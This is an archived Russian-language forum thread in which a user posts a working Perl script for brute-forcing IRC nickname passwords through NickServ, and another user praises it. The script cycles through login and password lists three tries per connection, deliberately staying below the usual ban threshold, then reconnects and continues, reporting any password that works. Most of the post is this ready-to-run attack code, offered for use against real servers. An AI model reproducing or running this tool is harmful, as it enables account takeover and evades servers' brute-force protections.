PDA

Просмотр полной версии : [perl] iRC Bruter


eLWAux
05.02.2009, 22:31
iRC Bruter
брут ников в iRC сетях..

брут осуществлен по такой схеме:

connect
авторизация
т.к. на большенстве серверов irc присутствует бан после 3х неверных вводов пароля, поетому

пробуем авторизироватса с логин1;пароль1
пробуем авторизироватса с логин2;пароль2
пробуем авторизироватса с логин3;пароль3

disconnect
goto пункт 1 (и так делаем, пока не переберем все ники и пароли)

проверял на нескольких серверах - работает :)

настройки:
my $server = 'сервер';
my $port = порт_сервера;
my $c = сколько_логинов_за_один_раз _подбирать;
my $freeze = 0.7;
my $rejoin = таймаут_при_пересоединении ;
в logins.txt логини,
в pass.txt пароли

--
скрипт (perl):
use strict; #/
use IO::Socket;
system('cls');

#=--==-==-=========================================
#=- 5.2.2009

print q[
#
# iRC brute
# by eLwaux(c)2009
#

];

my $server = 'сервер'; # server
my $port = порт; # ip
my $c = 4; # brute2 one connect
my $freeze = 0.7; # change nick sleep
my $rejoin = 5; # rejoin sleep
#==-=-==================-==========================

# loading logins
open (FILE, '<logins.txt');
my @logins : shared = <FILE>;
chomp(@logins);
close(FILE);

# loading passwords
open (FILE, '<pass.txt');
my @pass : shared = <FILE>;
chomp(@pass);
close(FILE);

print '[i] logins: '.scalar(@logins)."\n";
print ' [i] passwords: '.scalar(@pass)."\n";

# creating my list user;pasw
my @aLL;
foreach my $user(@logins) {
foreach my $pasw(@pass) {
@aLL[scalar(@aLL)]=$user."\x01".$pasw;
}
}

print ' = '.int(scalar(@aLL))." combination(s)\n\n";
print " =-----====-=---==----=--=--=-==-=-=-==--= \n\n";

# Brute
my $irc;

while (@aLL) {
# connect to iRC server

iRC_connect($server,$port);
if (iRC_auth('abc')!=0) {

print " + auth\n";

for (my $i=1; $i<$c; $i++){
my $aLL = shift @aLL;
goto _END if (!$aLL);
my @temp = split(/\x01/,$aLL);
my $_USER = $temp[0];
my $_PASW = $temp[1];
#print ' '.$_USER.' -- '.$_PASW."\n";
iRC_nick($_USER,$_PASW);
sleep($freeze);
}
_END:

} else {$rejoin++;}

iRC_disconnect();
print " < disconect\n\n";
sleep($rejoin);
}

print " =-----====-=---==----=--=--=-==-=-=-==--= \n\n";
<stdin>;

#=-===========-=======
#-= functionS -=======
#==-=-=========================-===================

sub iRC_connect { # server, port
$irc = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => $_[1],
Timeout => 1,
Proto => 'tcp') or
die(" [-] can't connect to server ".$server.':'.$port."\n");
print " > connect\n";
}

sub iRC_disconnect {
close($irc);
}

sub iRC_auth { # nick
my $result = 1;
print $irc "NICK $_[0]\r\n";
print $irc "USER $_[0] 8 * :$_[0]\r\n";
while (my $input = <$irc>) {
chop($input);
# print $input."====\n";
if ($input =~ /433/) {
print ' [-] nickname "'.$_[0].'" is already in use..';
$result = 0;
last;
}
elsif ($input =~ /^PING(.*)$/i) {
print $irc "PONG $1\r\n";
}
elsif ($input =~ /Reconnecting too fast/) {
print " - reconnecting too fast\n";
$result = 0;
last;
}
elsif ($input =~ /MODE\s.*:+/) {
last;
}
}
return $result;
}

sub iRC_nick { # nick, password
print $irc "NICK ".$_[0]."\r\n"; # change nick
print $irc "PRIVMSG NickServ IDENTIFY ".$_[1]."\r\n";
while (my $answ = <$irc>) {
if ($answ =~ /не зарег/) { print " - unreg ".$_[0]."\n"; goto _NEXT; }
elsif ($answ =~ /Неверный/) { print " - bad passw ".$_[1]."\n"; goto _NEXT; }
elsif ($answ =~ /Пароль принят/) { print " +++ GOOD ".$_[0].":".$_[1]."\n";goto _NEXT; }
}
_NEXT:
}

Sharky
06.02.2009, 00:07
молодец :) +5

Sharky
06.02.2009, 01:01
PRIVMSG NickServ IDENTIFY можно заменить на NS IDENTIFY